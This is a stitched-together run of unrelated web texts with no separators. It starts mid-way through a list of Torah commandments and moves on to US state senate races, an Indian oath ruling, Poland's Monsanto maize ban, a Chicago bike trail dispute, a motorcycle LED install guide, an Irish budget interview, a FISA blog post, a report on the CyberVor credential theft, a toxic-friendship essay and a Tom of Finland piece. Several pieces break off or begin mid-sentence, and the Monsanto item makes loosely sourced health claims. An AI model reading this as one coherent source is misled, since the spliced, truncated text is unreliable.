To assemble all the people on the Sukkot following the seventh year Deut. 31:12Laws of First Born Animals426 To set aside the firstborn animals Ex. 13:12427 The Kohanim must not eat unblemished firstborn animals outside Jerusalem Deut. 12:17428 Not to redeem the firstborn Num. 18:17429 Separate the tithe from animals Lev. 27:32430 Not to redeem the tithe Lev. 27:33Laws of Offerings for Unintentional Transgressions431 Every person must bring a sin offering for his transgression Lev. 4:27432 Bring an asham talui when uncertain of guilt Lev. 5:17-18433 Bring an asham vadai when guilt is ascertained Lev. 5:25434 Bring an oleh v'yored offering (if the person is wealthy, an animal; if poor, a bird or meal offering) Lev. 5:7-11435 The Sanhedrin must bring an offering when it rules in error Lev. 4:13Laws of Lacking Atonement436 A woman who had a running issue (menstruation) must bring an offering after she goes to the Mikveh Lev. 15:28-29437 A woman who gave birth must bring an offering after she goes to the Mikveh Lev. 12:6438 A man who had a running issue (semen) must bring an offering after he goes to the Mikveh Lev. 15:13-14439 A metzora must bring an offering after going to the Mikveh Lev. 14:10Laws of Substitution of Sacrifices440 Not to substitute another beast for one set apart for sacrifice Lev. 27:10441 The new animal, in addition to the substituted one, retains consecration Lev. 27:10442 Not to change consecrated animals from one type of offering to another Lev. 27:26Laws of Impurity of Human Dead443 Carry out the laws of impurity of the dead Num. 19:14Laws of The Red Heifer444 Carry out the procedure of the Red Heifer Num. 19:2445 Carry out the laws of the sprinkling water Num. 19:21Laws of Impurity through Tzara'at446 Rule the laws of human tzara'at as prescribed in the Torah Lev. 13:12447 The metzora must not remove his signs of impurity Deut. 24:8448 The metzora must not shave signs of impurity in his hair Lev. 13:33449 The metzora must publicize his condition by tearing his garments, allowing his hair to grow and covering his lips Lev. 13:45450 Carry out the prescribed rules for purifying the metzora Lev. 14:2451 The metzora must shave off all his hair prior to purification Lev. 14:9452 Carry out the laws of tzara'at of clothing Lev. 13:47453 Carry out the laws of tzara'at of houses Lev. 13:34Laws of Impurity of Reclining and Sitting454 Observe the laws of menstrual impurity Lev. 15:19455 Observe the laws of impurity caused by childbirth Lev. 12:2456 Observe the laws of impurity caused by a woman's running issue Lev. 15:25457 Observe the laws of impurity caused by a man's running issue Lev. 15:3Laws of Other Sources of Impurity458 Observe the laws of impurity caused by a dead beast Lev. 11:39459 Observe the laws of impurity caused by the eight shratzim Lev. 11:29460 Observe the laws of impurity of a seminal emission Lev. 15:16Laws of Impurity of Food461 Observe the laws of impurity concerning liquid and solid foods Lev. 11:34Laws of Vessels (Rabbinical)Laws of Mikveh462 Every impure person must immerse himself in a Mikveh to become pure Lev. 15:16Laws of Property Damage463 The court must judge the damages incurred by a goring ox Ex. 21:28464 The court must judge the damages incurred by an animal eating Ex. 22:4465 The court must judge the damages incurred by a pit Ex. 21:33466 The court must judge the damages incurred by fire Ex. 22:5Laws of Theft467 Not to steal money stealthily Lev. 19:11468 The court must implement punitive measures against the thief Ex. 21:37469 Each individual must ensure that his scales and weights are accurate Lev. 19:36470 Not to commit injustice with scales and weights Lev. 19:35471 Not to possess inaccurate scales and weights even if they are not for use Deut. 25:13472 Not to move a boundary marker to steal someone's property Deut. 19:14473 Not to kidnap Ex. 20:13Laws of Robbery and Lost Objects474 Not to rob openly Lev. 19:13475 Not to withhold wages or fail to repay a debt Lev. 19:13476 Not to covet and scheme to acquire another's possession Ex. 20:14477 Not to desire another's possession Deut. 5:18478 Return the robbed object or its value Lev. 5:23479 Not to ignore a lost object Deut. 22:3480 Return the lost object Deut. 22:1481 The court must implement laws against the one who assaults another or damages another's property Ex. 21:18Laws of Murder and Preservation of Life482 Not to murder Ex. 20:13483 Not to accept monetary restitution to atone for the murderer Num. 35:31484 The court must send the accidental murderer to a city of refuge Num. 35:25485 Not to accept monetary restitution instead of being sent to a city of refuge Num. 35:32486 Not to kill the murderer before he stands trial Num. 35:12487 Save someone being pursued even by taking the life of the pursuer Deut. 25112488 Not to pity the pursuer Num. 35:12489 Not to stand idly by if someone's life is in danger Lev. 19:16490 Designate cities of refuge and prepare routes of access Deut. 19:3491 Break the neck of a calf by the river valley following an unsolved murder Deut. 21:4492 Not to work nor plant that river valley Deut. 21:4493 Not to allow pitfalls and obstacles to remain on your property Deut. 22:8494 Make a guard rail around flat roofs Deut. 22:8495 Not to put a stumbling block before a blind man (nor give harmful advice) Lev. 19:14496 Help another remove the load from a beast which can no longer carry it Ex. 23:5497 Help others load their beast Deut. 22:4498 Not to leave others distraught with their burdens (but to help either load or unload) Deut. 22:4Laws of Sales499 Buy and sell according to Torah law Lev. 25:14500 Not to overcharge or underpay for an article Lev. 25:14501 Not to insult or harm anybody with words Lev. 25:17502 Not to cheat a sincere convert monetarily Ex. 22:20503 Not to insult or harm a sincere convert with words Ex. 22:20Laws of Acquisitions and Gifts (Rabbinical)Laws of Neighbors (Rabbinical)Laws of Agents and Partners (Rabbinical)Laws of Slaves504 Purchase a Hebrew slave in accordance with the prescribed laws Ex. 21:2505 Not to sell him as a slave is sold Lev. 25:42506 Not to work him oppressively Lev. 25:43507 Not to allow a non-Jew to work him oppressively Lev. 25:53508 Not to have him do menial slave labor Lev. 25;39509 Give him gifts when he goes free Deut. 15:14510 Not to send him away empty-handed Deut. 15:13511 Redeem Jewish maidservants Ex. 21:8512 Betroth the Jewish maidservant Ex. 21:8513 The master must not sell his maidservant Ex. 21:8514 Canaanite slaves must work forever unless injured in one of their limbs Lev. 25:46515 Not to extradite a slave who fled to Israel Deut. 23:16516 Not to wrong a slave who has come to Israel for refuge Deut. 23:16Laws of Hiring517 The courts must carry out the laws of a hired worker and hired guard Ex. 22:9518 Pay wages on the day they were earned Deut. 24:15519 Not to delay payment of wages past the agreed time Lev. 19:13520 The hired worker may eat from the unharvested crops where he works Deut. 23:25521 The worker must not eat while on hired time Deut. 23:26522 The worker must not take more than he can eat Deut. 23:25523 Not to muzzle an ox while plowing Deut. 25:4Laws of Borrowing and Depositing524 The courts must carry out the laws of a borrower Ex. 22:13525 The courts must carry out the laws of an unpaid guard Ex. 22:6Laws of Creditor and Debtor526 Lend to the poor and destitute Ex. 22:24527 Not to press them for payment if you know they don't have it Ex. 22:24528 Press the idolater for payment Deut. 15:3529 The creditor must not forcibly take collateral Deut. 24:10530 Return the collateral to the debtor when needed Deut. 24:13531 Not to delay its return when needed Deut. 24:12532 Not to demand collateral from a widow Deut. 24:17533 Not to demand as collateral utensils needed for preparing food Deut. 24:6534 Not to lend with profit / interest (Usury / money-lending / loan sharking) Lev.25:37535 Not to borrow with profit / interest Deut. 23:20536 Not to intermediate in an interest loan, guarantee, witness, or write the promissory note Ex. 22:24537 Lend to and borrow from idolaters with profit / interest Deut. 23:21Laws of Plaintiff and Defendant538 The courts must carry out the laws of the plaintiff, admitter, or denier Ex. 22:8Laws of Inheritance539 Carry out the laws of the order of inheritance Num. 27:8Laws of Sanhedrin and Punishments540 Appoint judges Deut. 16:18541 Not to appoint judges who are not familiar with judicial procedure Deut. 1:17542 Decide by majority in case of disagreement Ex. 23:2543 The court must not execute through a majority of one; at least a majority of two is required Ex. 23:2544 A judge who presented an acquittal plea must not present an argument for conviction in capital cases Deut. 23:2545 The courts must carry out the death penalty of stoning Deut. 22:24546 The courts must carry out the death penalty of burning Lev. 20:14547 The courts must carry out the death penalty of the sword Ex. 21:20548 The courts must carry out the death penalty of strangulation Lev. 20:10549 The courts must hang those stoned for blasphemy or idolatry Deut. 21:22550 Bury the executed on the day they are killed Deut.21:23551 Not to delay burial overnight Deut. 21:23552 The court must not let the sorcerer live Ex. 22:17553 The court must give lashes to the wrongdoer Ex. 25:2554 The court must not exceed the prescribed number of lashes Deut. 25:3555 The court must not kill anybody on circumstantial evidence Ex. 23:7556 The court must not punish anybody who was forced to do a crime Deut. 22:26557 A judge must not pity the murderer or assaulter at the trial Deut. 19:13558 A judge must not have mercy on the poor man at the trial Lev. 19:15559 A judge must not respect the great man at the trial Lev. 19:15560 A judge must not decide unjustly the case of the habitual transgressor Ex. 23;6561 A judge must not pervert justice Lev. 19:15562 A judge must not pervert a case involving a convert or orphan Deut. 24:17563 Judge righteously Lev. 19:15564 The judge must not fear a violent man in judgment Deut. 1 |
just ahead of Republican incumbent Steve Litzow in their primary matchup.
“It was a major shock to him and a pleasant surprise to us that we did that well,” Wellman said.
The district has trended heavily toward Democrats in recent elections. It is the only Senate district occupied by a Republican that Obama won in 2012.
Like many other states that favor the Democratic Party at the national level, the Trump candidacy could be an anchor around the necks of Washington Republicans. “Washington state has been a state where Trump has been wildly unpopular,” Bond said. There is limited polling in the state, but two polls have shown Trump down by 12 points and 19 points to Clinton. Obama won the state by 17 points in 2008, and 15 points in 2012.
“We think we’re well positioned to win,” said Alex Bond, political director for the Washington Senate Democratic Campaign. “We definitely see a very clear path to victory based on the strong primary results and the strong electorate for Democrats in the general.”
West Virginia Senate
West Virginia isn’t usually thought of as favorable environment for the Democratic Party these days. The state gives Trump some of his best marks, and Clinton some of her worst. In 2012, Obama lost 40 percent of the primary vote to an imprisoned felon.
State-level elections, however, favor Democrats. Billionaire Democratic gubernatorial candidate Jim Justice posted a 10-point lead in a recent poll. State legislative candidates see hope that their Democratic Party, while maybe not the national party, will do well in November.
“There’s a reaction throughout the state after two years of the Republican control of the legislature that is not favorable,” said Democratic state Rep. Stephen Skinner, who is running for an open Senate seat currently occupied by a retiring Democrat.
Republicans control the Senate by an 18-16 margin, meaning Democrats need only flip two seats. Major issues include the economic impact of sinking coal and gas prices and controversial issues the Republican legislature passed in the past two years. They include the enactment of right-to-work legislation that could, if it survives a court challenge, gut union organizing rights in the state.
Editor’s note: Donald Trump regularly incites political violence and is a serial liar, rampant xenophobe, racist, misogynist and birther who has repeatedly pledged to ban all Muslims — 1.6 billion members of an entire religion — from entering the U.S.The Bombay High Court today dismissed a PIL seeking a direction to Union Law Ministry and other authorities to include an option of taking oath on the Constitution of India in the Oaths Act for atheists. As per the provisions of the Oaths Act-1969, a person can either swear in the name of God or solemnly affirm to state the truth while either deposing in a court or filing an affidavit or any other application before a court.
Advertising
A division bench of Chief Justice Manjula Chellur and Justice G S Kulkarni was Friday hearing the public interest litigation filed by local resident Sunil Mane, seeking for a third option in the Act, by which a person can take oath on the Constitution of India.
Watch what else is making news:
The bench noted that it is for the lawmakers to decide if oath can be permitted to be taken on the Constitution of India, and such a direction cannot be given by the court.
Mane, in his petition, claimed that he came across two separate incidents in lower courts where the witnesses refused to take oath in the name of God or by placing their hand on Bhagvad Gita as they were non-believers. The courts refused to let them depose and asked the witnesses to leave.
Hence, Mane sought for a provision to be introduced in the Act by which oath can be taken on the Constitution. The high court today, however, noted that the Act provides two options for oath – one in the name of God and the other is to solemnly affirm.
Advertising
“The two options clearly indicate that if a person is a believer in God or Almighty then he or she can take oath in the name of God and if they are not believers then they can solemnly affirm to state the truth. By saying God or Almighty, the Act has ensured that there is no reference or attachment to any religion, caste or creed,” Chief Justice Chellur said.Following the anti-Monsanto activism launched by nations like France and Hungary, Poland has announced that it will launch a complete ban on growing Monsanto’s genetically modified strain MON810. The announcement, made by Agriculture Minister Marek Sawicki, sets yet another international standard against Monsanto’s genetically modified creations. In addition to being linked to a plethora health ailments, Sawicki says that the pollen originating from this GM strain may actually be devastating the already dwindling bee population.
“The decree is in the works. It introduces a complete ban on the MON810 strain of maize in Poland,” Sawicki stated to the press.
Similar opposition to Monsanto occurred on March 9th, when 7 European countries blocked a proposal by the Danish EU presidency which would permit the cultivation of genetically modified plants on the entire continent. It was France, who in February, lead the charge against GMOs by asking the European Commission to suspend authorization to Monsanto’s genetically modified corn. What’s more, the country settled a landmark case in favor of the people over Monsanto, finding the biotech giant guilty of chemical poisoning.
In a ruling given by a court in Lyon (southeast France), grain grower Paul Francois stated that Monsanto failed to provide proper warnings on the Lasso weedkiller product label which resulted in neurological problems such as memory loss and headaches. The court ordered an expert opinion to determine the sum of the damages, and to verify the link between Lasso and the reported illnesses. The result was a guilty charge, paving the way for further legal action on behalf of injured farmers.
Since 1996, the agricultural branch of the French social security system has gathered about 200 alerts per year regarding sickness related to pesticides. However only 47 cases were even recognized in the past 10 years.
Nations are continually taking a stand against Monsanto, with nations like Hungary destroying 1000 acres of GM maize and India slamming Monsanto with ‘biopiracy‘ charges.by BRIAN NADIG
Details of a plan to route a portion of the 3.1-mile North Branch Trail extension along the west side of Central Avenue next to the 55-home Old Edgebrook subdivision were presented at an Aug. 21 public meeting, prompting some residents to call for revisions.
While about 110 people attended the Cook County Forest Preserve District’s meeting at the Edgebrook Clubhouse, several residents charged that they were never notified of other public meetings on the $7 million project. A district document shows that four community members attended a 2010 public meeting on the project.
“As far as the forest preserve (district), we have our plan that we are moving forward with,” project manager Pamela Sielski said at the July 10 meeting of the Edgebrook Community Association.
At the association’s meeting, many residents learned for the first time that the planned trail was being relocated from the east side to west side of Central between Lehigh Avenue and the driveway entrance of the Edgebrook Clubhouse, 6100 N. Central Ave., where a traffic signal would be installed.
The on-demand stoplight would activate by having bicyclists press a button or by a censor that would detect vehicles leaving the clubhouse. Earlier plans had called for bicyclists to cross Central at the existing stoplight at Lehigh but that would be cost-prohibitive because it would require the six other traffic signals in Downtown Edgebrook to be reprogrammed, according to the district.
Some residents have complained that the stoplight would cause traffic to back up on Central, blocking Louise Avenue and Prescott Avenue, which are the only two vehicular access points to Old Edgebrook. Safety concerns also have been raised about the ability of those motorists exiting Old Edgebrook to see bicyclists on the trail.
Stop signs for bicyclists would be installed along the trial where it would cross Louise and Prescott, and the trail would be located adjacent to the street to allow for better sight lines for drivers, said project consultant David Landeweer. When cars are stopped at the new signal, it should cause breaks in traffic that would facilitate drivers who are turning onto Central from Prescott or Louise, he said.
At the stoplight, bicyclists would cross over to the east side of the street, as the planned extension of the trail would continue southeast until it ends in LaBagh Woods.
Concerns also have been raised that the trail might violate conditions of the city landmark district designation that exists for Old Edgebrook since the late 1980s. At the time, the forest preserve district’s support for the landmark designation was contingent on the district reserving the right to install a bike trail in the area, according to district representatives who were at the meeting.
Several residents at the meeting charged that the district did not consult the community about moving the trail from the east to west side of Central and about an earlier proposal to reroute the trail through the Old Edgebrook neighborhood.
The forest preserve district considered having the trail use an existing pathway in Edgebrook Woods before continuing south onto a block-long stretch of Lundy Avenue in Old Edgebrook and then along the perimeter of the clubhouse parking lot until it reaches the driveway entrance on Central. Several residents said that they would prefer the this route because it would preserve more trees that running the route along Central.
Some residents also recommended having the run along the western boundary of the Edgebrook golf course, but Landeweer said that there are flooding issues in that area.
District director of planning Chris Slattery reported that about 425 trees would be removed as part of the project and that many of those trees are dead or non-native.
Old Edgebrook resident Petra Blix said after the meeting that the number of trees removed could be significantly higher because smaller trees, some of which are less than six inches in diameter, are not included in the district’s calculations. Several residents asked officials to walk the proposed trail with them in an effort to clarify the issue.
Those who testified in favor of the project and would help introduce thousands of new people to the forest preserves. Old Edgebrook resident Bill Phillips said that in exchange for a small inconvenience, the trail would provide a beautiful amenity for the community.
Construction of the trail extension is scheduled to start next spring.
The existing 18-mile North Branch Trail starts at Devon and Caldwell avenues and travels through several northern suburbs until it ends at the Chicago Botanic Gardens in Glencoe. The southern extension would run from the Devon-Caldwell intersection to a picnic grove in LaBagh Woods near Foster and Kostner avenues, from which bicyclists could connect to the Sauganash Trail to the north or the planned Weber Spur Trail to the northeast.
The extension would include the construction of a bridge over railroad tracks near Indian Road and Ardmore Avenue, and at Cicero Avenue an existing passageway under the Cicero Avenue Bridge would be widened to accommodate bikes. District officials have acknowledged that there would be times when the passageway floods, forcing bicyclists would have to use alternate routes.
Districts officials at the meeting would not commit to make any changes to the route. Slattery said that one of the purposes of the meeting was to allow the district to explain why certain trail designs were chose over alternates that were considered.
District senior planner Kindy Kruller asked that questions and recommendations about the trail be e-mailed to her at kindy.kruller@cookcountyil.gov.
One resident said after the meeting that the community will “have to go to the top” of the district in order to get changes made.Installing Purpose Built Moto LED Indicators
This Article will give you step by step instructions on installing your new Purpose Built Moto LED turn signals / Indicators.
As every bike is different this will be a general guide only however I will endeavor to explain as much as I can about the “standard” set ups I have seen on most bikes I come across.
Tool’s & Materials you need to install your LED indicators:
Pliers
13mm Spanner/Wrench or Socket
Wire stripper
Soldering Iron OR Bullet connectors (male and female)
Soldering Wire
Heat Shrink OR Electrical tape
Load balancing resistors OR replacement LED flasher relay
Step 1.
Remove the old Indicators, take note of the plugs/connectors used to join them into the circuit, I recommend marking the +ve at a minimum. Depending on the set up your bike has, you can either replicate the connectors or possibly cut them off the indicators you have removed and re-use them later.
Step 2.
Install your new Purpose Built Moto LED Indicators. Start by bolting on the light with the M8 Nylock nut and Washer provided. Although M8 is the standard size for most bikes if your model has M10 mounting holes you may need a slightly larger flat washer to make sure they stay mounted as intended. Tighten your LED turn signals down to 15Nm, making sure they’re on the right angle to be visible.
Step 3.
Connect Your LED Turn Signals. Using your +ve marking connect the red wire there and the black to the ground wire. This can be completed by way of either:
Using the connectors removed from your Old Indicators and joining them with a soldering iron and covering with heat shrink or tape. Using standard Bullet connectors and crimping the wire. This is more common on older model motorbikes
Take care when stripping the cable back as it is far smaller than your standard bulb type indicator wire. LED lights use a lot less power and therefor operate with smaller cables. Double back the wire before you crimp the connectors to give it a bit more purchase. After connecting give the cable a gentle “tug test” to make sure it’s connected properly and plug in.
Step 4.
Making your LED lights flash properly. If you turned the key and hit the switch 80% chance that your LED turn signals would enter a “hyperflash” state. This is because most bikes run on an analogue capacitive timer relay. In times of old these were analogue timing circuits, with a capacitor. Your indicator flashes on, draws 30-46 watts and slowly charges the capacitor, once charged it turns your indicator off and repeats. With new LED lights they draw 3-6 watts, this charges your capacitor a lot faster. This results in a very quick flash or a flicker in some cases, adding a load balancing resistor slows this back down to a normal pace. Newer flasher relays use MOSFET switching which is a digital solid state unit that is not load dependant and will flash at the same rate regardless of what lights you use.
I explain more about this in my Motorcycle Electrics 101 Blog if you want to learn further, read that. The long and short of it is, if that’s the case you will need to modify or replace it.
Modify: Head down to your local electronics store and buy 4x 5Ω 20 Watt resistors, They shouldn’t cost you more than $0.50-$2 each. Connect these at each light between the +ve and –ve connections. Generally if you search for LED load balancing relays you’ll end up paying way more than you need to, being informed saves you $$$. Replace: At the same electronics store you can buy a replacement LED flasher relay, these come in 2 or 3 pin depending on your bike. They will cost your around $10-15 and make the job a lot easier and neater.
The Above options will work for all older model motorcycles garuanteed. However on some newer bikes (post 2011) some have all mighty CPU’s that don’t much like modification. Chances are they will work straight away with your new LED headlights (I know Ducati’s do without any modification). If not you can run a new circuit to control the lights with a Purpose Built Moto Black box or similar control unit, which is super simple to install. Failing that ask your local dealer and they should be able to help.
I hope this makes the installation of your new LED Indicators as easy as possible. If you have any questions leave a comment or shoot me an email.
Check out our LED lights here
Thanks for taking the time.
[do_widget id=swifty-img-widget-6]Taoiseach Enda Kenny today indicated the Government is set to continue with its policy of economic austerity this year, saying the State “must continue restraint and discipline in respect of public finances”.
Mr Kenny was speaking during an interview on RTÉ’s News at One during which he outlined the Government’s agenda for the coming year.
“The medium-term economic strategy sets specific targets such as to have our deficit below 3 per cent by 2016, to have it eliminated by 2018, and to have full employment by 2020 – in other words to restore the 300,000 jobs that have been lost in this period,” he said. “We’ve got to create 50,000 net new jobs this year and next year – that’s our objective.”
He said the Government’s strategy is based on three pillars.
“One is the banks. They are not functioning the way we want them to. They’re not in a position yet to give real impetus to the domestic economy. That’s a real issue. We’ve set targets for them: mortgages, access to credit, small and medium enterprises.
“You are going to see continuous, relentless, engagement with the banks in terms of what their function should be and where we need them to be contributing to the domestic economy.
“Secondly, continue restraint and discipline in respect of our public finances. But fundamentally here, this is about jobs.”
He said there would be a special emphasis on the construction sector. “Before the end of February, we’re calling all of the minister’s back in and focusing on the domestic economy for construction, for housing, for access to credit, for building.
“There are 90,000 people on the live register who were involved in the construction industry previously. We have to get those people back into productive employment so that confidence can spread throughout the country.”
Mr Kenny also paid tribute to the “sacrifices” made by the State’s citizens and said the upgrading of Ireland’s credit rating to investment status last month means international investors can now look at Ireland in “a different way”.
“Remember that the sacrifices people have made here contributed in the main to Ireland’s exiting the bailout programme, but also, as a consequence, that the rating agencies increased our status on our credit from junk to investment status.
“That means that investment authorities internationally can now look at Ireland in a different way to previously because you couldn’t invest when you didn’t have full rating from all the agencies. There are people coming over from Asia this month to look at Ireland and that has an impact on the national debt as well.”
Separately, Mr Kenny indicated there would be no way back into the party for exiled TDs who have been expelled for voting against the Government.
“The number of deputies who left during the Protection of Life during Pregnancy Bill supported the Government in all of our other economic and political reforms. They made this choice themselves.”
He also rejected calls for the Government to legislate for gay marriage and said it was a matter for a constitutional referendum which he would seek to hold this year.
“We believe it’s important the people have a rational, common sense, calm, considered and compassionate debate about this and I hope that happens. I didn’t consider legislating for this. It is a question for a referendum and it will be held next year.”Why on earth would we want to help Dick Cheney cover his ass instead of upholding the rights and liberties of the American public and the rule of law?
Senators Chris Dodd and Russ Feingold sent out a letter to Congressional leaders outlining why a compromise which violates the rule of law and which grants retroactive immunity to telecom companies is not only wrongheaded, it’s just plain wrong. And I thought this passage was particularly blunt:
…In other words, under the Bond proposal, the result of the FISA Court’s evaluation would be predetermined. Regardless of how much information it is permitted to review, what standard of review is employed, how open the proceedings are, and what role the plaintiffs’ lawyers are permitted to play, the FISA Court would be required to grant immunity. To agree to such a proposal would not represent a reasonable compromise. As we have explained repeatedly in the past, existing law already immunizes telephone companies that respond in good faith to a government request, as long as that request meets certain clearly spelled-out statutory requirements. This carefully designed provision protects both the companies and the privacy of innocent Americans. It gives clear guidance to companies on what government requests it should comply with and what requests it should reject because the requirements of the law are not met. The courts should be permitted to apply this longstanding provision in the pending cases to determine whether the companies that allegedly participated in the program should be granted immunity. We also urge you to correct the significant flaws in the FISA provisions of the Senate bill, some of which were addressed in the House version. The Senate bill authorizes widespread surveillance involving innocent Americans and does not provide adequate checks and balances to protect their rights. First, it permits the government to come up with its own procedures for deciding who is a target of surveillance, and provides no meaningful consequences if the FISA Court later determines the government’s procedures are not even reasonably designed to wiretap foreigners. Second, even if the government is wiretapping foreigners outside the U.S., those foreigners need not be terrorists, suspected of any wrongdoing, or even be of any specific intelligence interest. That means the government could legally collect all communications between Americans here at home and the rest of the world. Third, the Senate version of the bill failed to prohibit the practice of reverse targeting – namely, wiretapping a person overseas when what the government is really interested in is an American here at home with whom the foreigner is communicating. Fourth, the Senate version of the bill failed to include meaningful privacy protections for the Americans whose communications will be collected in vast new quantities. We strongly believe that these problems should be corrected as the legislation moves forward.
Now that is the way to do your job, Senators. Good on ya! Have to agree with Amanda at the ACLU’s Blog of Rights:
…Wouldn’t it have been nice, though, if as soon as Bond floated his non-compromise Hoyer called it what it was and said, "This doesn’t come anywhere close to protecting our constituents’ privacy and, by the way, this immunity clause i[s] complete crap." But he didn’t.
Let’s give Senators Dodd and Feingold a hand. Call your members of Congress today and tell them no telecom immunity, no violation of the Fourth Amendment — and no deal with the Bush Administration on this unless the rule of law is fully and completely upheld. Let’s get to work.
You can find contact information for your elected representatives at Stop The Spying, and also get numbers for Senators here and House members here. The ACLU has more information here, here and here. Howie has more. So does McJoan and Glenn. EFF does, too, and Marty has some great analysis on why the GOP’s fearmongering is a load of dung. An update in The Hill says they are "close to breaking the logjam" on FISA — so please make your calls or send FAXes today!
(YouTube of Russ Feingold via Matt Stoller at OpenLeft.)A hacker going by the name of "mr.grey" might have been at least a participant in, if not the mastermind behind, the creation of the world's largest stolen login credentials database. A Reuters report yesterday says unsealed court documents released this past week in Milwaukee show that while investigating the massive collection, which contained details on 1.2 billion accounts, FBI agents reportedly uncovered a list of domain names and utilities the attackers used to send spam. Buried in those findings was an email address registered in 2010 to a "mistergrey." Armed with a lead, agents scoured Russian hacking forums for posts authored by that same username. One from 2011 caught their attention: an advertisement for account information for Facebook, Twitter and Russian social network VK users. Alex Holden, CISO at Hold Security — the firm that discovered the credential database — told Reuters this likely indicated the hacker either created or was able to access the stolen data.
When The New York Times broke news of the data collection in August 2014, it billed it as "the biggest hack ever." This wasn’t totally the case. CyberVor, the alleged group behind the database, likely got its data from hundreds of thousands of breaches over many months, and it allegedly began its collection by buying information from prior hacks; it still remains unclear how many of the stolen credentials the group actually compromised itself, especially considering it preferred SQL injection, a relatively common technique, as its primary attack tool. A Fortune 500 company, many of whom had users compromised, would likely protect itself against this kind of attack. At the time of its outing, CyberVor wasn’t selling the data or using it to steal money. Instead, it was using it for Twitter spam.Do you have a friend who drains you, who saps the energy right out of you? A friend who is unsupportive of you and when you spend time with her you feel like something is just not right? Maybe you have a friend who puts you down and then constantly demands that you make her feel better about her life.
You could be part of a “toxic friendship,” and in my view new moms may be particularly vulnerable to keeping up friendships that may be more trouble than they’re worth.
I have a friend who moved to a new city around the same time that I moved from Boston to Buffalo. I could relate to my friend’s struggles with getting used to a new city while also coping with the demands of new motherhood. Through a mommy and me class, my friend met a woman who lived in her neighborhood. She had two kids, one the same age as her newborn. The two women seemed to click right away. Within days, they were talking on the phone every day, texting, and meeting for drinks. My friend was intrigued by her new BFF; she was so different in every way. While my friend was reserved and quiet, her new friend was outgoing and dramatic. However, within weeks, my friend was starting to feel like something wasn’t right. Every conversation was about her new friend’s dilemmas and dramas. She felt exhausted every time they spoke and started to dread her phone calls. Her new friend didn’t listen to her and often minimized her problems, sometimes even mocking her feelings. Weeks turned to months, and my friend couldn’t take her neediness anymore. She stopped picking up her phone and returning calls. She refused to make plans. Soon her new best friend wasn’t calling anymore. My friend is relieved, but knows she could have handled the end to this friendship differently.
I’ve been reading Best Friends Forever: Surviving a Breakup with Your Best Friend by the “Friendship Doctor,” Irene Levine. I first thought about the term “toxic friend” after reading a few posts on Irene’s Friendship Blog. In her book, Irene also writes about how to spot a toxic friend. We associate friendship with support and reciprocity, affection and loyalty so it’s hard for us to realize that there may be something about your friendship that is unhealthy, probably for both of you.
One of my online friends described to me how hard it is for moms to figure out when a friendship has turned toxic. She stays at home with her child, while her toxic friend is a working mother. “Every time I spend time with her, she acts like she’s pitying me and like I need to be ‘rescued’ from my day-to-day. I inevitably leave these encounters feeling [awful] about my life and my choices. They’re said tongue-in-cheek, but it hurts all the same…. I wonder if I’m being too sensitive? But even if I am, friendships are supposed to make you feel good. Since this one has the opposite effect, I think I’m going to have to stop seeing her, at least one-on-one.”
New motherhood can be a time of uncertainty for many new moms. The changes to our physical, emotional,and professional lives can be fast and intense. Many of us have no idea what we’re doing, at least for a while. And many of us turn to friends — new and old — to help us navigate these new challenges. We want to think that we’re open to learning about how to be a better parent. If a friend has suggestions about what might make life easier for us — tips on anything from how to get a baby to sleep through the night to how to find a babysitter — we listen to that. For new moms, the problem comes when we don’t like the advice or if it’s given without empathy.
When my son was a baby, I joined a baby/toddler playgroup. Most of the other mothers who belonged to the group had older children, one and two year olds. I thought that with the help of this group, I could make new friends in my new city, as well as get some “parenting wisdom” from more experienced moms. I was open to the fact that most of the mothers had different parenting styles than I did: they were breastfeeding and co-sleeping with their toddlers. In contrast, I had stopped breastfeeding due to reflux and allergies when my son was only a couple months old. I had also just sleep trained my son using cry it out. However, each time I went to the group I ended up more and more upset. I was criticized for not breastfeeding and told that it should have been possible for me to breastfeed despite my son’s allergies. I was told it was better for babies to sleep with their parents and that sleep training would be harmful to children. I stopped attending this group when I found myself dreading the meetings.
Another online friend had a similar experience with a much closer friend. When my online friend had trouble with breastfeeding, her toxic friend was initially supportive but eventually began to criticize her choices. According to my friend, her toxic friend ” is very rigid in her views about parenting. She constantly would go on about how much people criticize parenting styles, and how she doesn’t judge others. But the next breath she’d go off on a rant about how parents were ruining their kids if they didn’t do things the way she was. She would repeat the same things over and over to me, event though she knew I was doing some of these things differently….Eventually we ‘drifted apart’. It was only after I stopped seeing her that I could actually see how much her judgment had hurt me.”
In her book, Dr. Levine lists questions that can help you spot a toxic friendship. Here are just a few from the book:
Does scheduling time together feel like an obligation and not a pleasure?
Do you feel tense in each other’s presence?
Does one friend consistently feel like she is giving more than she is getting?
Do you dread each other’s phone calls?
So what do you do when you realize that your own growth is being hurt by the demands of another person? For many of us a lost friendship feels like a failure and we hold on for too long, ignoring signs that something is wrong and focusing on the positive aspects of the friendship.
Making the situation even more complicated is the fact that not everyone has the same idea of what a toxic friendship is. What may be toxic to you may not be toxic to another person.
First, recognize that the relationship feels toxic to you. This is not necessarily a judgment about the worthiness of your friend. It takes two to create a relationship, and she may not be a toxic friend to others.
Next, talk to your friend and set clear boundaries. If your friend says something that is hurtful or unacceptable to you, tell her. If you don’t want to spend time with her, don’t.
Finally, if nothing changes, end it. If the relationship is so negative and intolerable that it’s causing you stress, you may need to realize that the relationship is one-sided and walk away. Friendships should be about balance — each side should contribute affection and support.
In my own experience, and among women that I spoke to, it’s rare to express regret about ending a friendship that has become toxic. Most women — at least that I spoke to — report feeling relief and some sense of peace with their decision. One mom who had ended a toxic friendship told me, “Once the relationship ended, I immediately felt a weight lifted. I had not realized how toxic it really was until it was gone. I was able to live my life through a much more positive lens with her out of the picture. I also learned a lot from the experience. I learned that I need to distance myself slightly from people’s negativity in order to maintain the friendship. I learned to listen without taking the burden upon myself. I learned that sometimes people aren’t ready to change, and that’s not my problem. Most importantly I learned that it is okay to walk away from a toxic friendship for the benefit of yourself and your family.”
Have you ever had a toxic friendship? How did you spot it? What did you learn from it?
Watch Dr. Levine talk with Marlo Thomas about toxic friendships!
During the next couple weeks, Stephanie and I will be writing about Irene Levine’s book, Best Friends Forever: Surviving a Breakup with Your Best Friend. We’ll also be giving away a copy of the book! Enter the giveaway by writing a comment in this post or a future HerStories Project post about the book. We’ll announce the winner in a few weeks!
Related articlesThe house at 1421 Laveta Terrace peeks out furtively from behind a tall hedge. There’s no sign or marker that might indicate to passersby that this was once the residence of legendary homoerotic artist Tom of Finland. Open up the gate, though, and that becomes clear soon enough. A life-size cutout of a beefy, leather-clad cop stands watch over the front porch. Next to the door is a portrait of the artist himself.
